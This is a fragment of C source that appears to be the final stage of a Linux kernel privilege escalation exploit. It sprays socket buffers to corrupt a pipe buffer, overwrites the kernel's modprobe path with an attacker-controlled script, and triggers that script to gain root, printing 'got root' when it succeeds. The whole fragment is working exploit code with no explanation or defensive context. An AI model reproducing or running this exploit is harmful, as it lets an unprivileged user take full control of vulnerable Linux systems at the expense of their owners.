        pipebuf->page = modprobe_page;
        pipebuf->offset = modprobe_off;
        pipebuf->len = 0;
        for (int i = 0; i < SKBUF_SPRAY; i++)
        {
            if (write(skbuf1k[i][0], pipebuf, 1024 - 320) < 0)
            {
                perror("[-] write(socket)");
                break;
            }
        }

        memset(&data, 0, PAGE_SIZE);
        snprintf(fd_path, sizeof(fd_path), "/proc/%i/fd/%i", i, modprobe_fd);

        lseek(modprobe_fd, 0, SEEK_SET);
        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);

        if (write(pfd[pipe_idx][1], fd_path, 32) < 0)
        {
            perror("\n[-] write(pipe)");
        }

        if (check_modprobe(fd_path))
        {
            puts("[-] failed to overwrite modprobe");
            break;
        }

        if (trigger_modprobe(status_fd))
        {
            puts("\n[+] got root");
            goto out;
        }

        for (int i = 0; i < SKBUF_SPRAY; i++)
        {
            if (read(skbuf1k[i][1], buf, 1024 - 320) < 0)
            {
                perror("[-] read(socket)");
            }
        }
    }
    puts("[-] fake modprobe failed");

out:
    sleep(13371337);

    return 0;
}